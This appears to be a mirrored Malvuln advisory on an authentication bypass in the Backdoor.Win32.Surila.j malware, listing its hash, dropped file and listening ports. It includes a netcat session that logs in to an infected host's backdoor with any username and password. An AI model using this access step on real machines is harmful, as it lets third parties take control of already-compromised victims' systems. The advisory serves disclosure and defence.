Backdoor.Win32.Surila.j / Authentication Bypass

CVE Category Price Severity
CWE-XX Not specified Not specified
Author Risk Exploitation Type Date
Not specified Not specified Not specified 2021-07-15
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.0219 0.5015

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Backdoor.Win32.Surila.j / Authentication Bypass
Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Surila.j
Vulnerability: Authentication Bypass
Description: The malware listens on random TCP high port numbers typically starting with "1" E.g. 12356, 14985, 13850, 19050, 13137. Third-party attackers who can reach infected systems can logon using any username/password combination.
Type: PE32
MD5: b1cec4b806c71c82bbd9002bdaf21d1f
Vuln ID: MVID-2021-0289
Dropped files: iexp1orer.exe 
Disclosure: 07/12/2021

nc64.exe x.x.x.x 13137
220 Bot Server (Win32)
USER mal
331 Password required.
PASS vuln
230 Login successful. Have fun.
215 UNIX Type: L8

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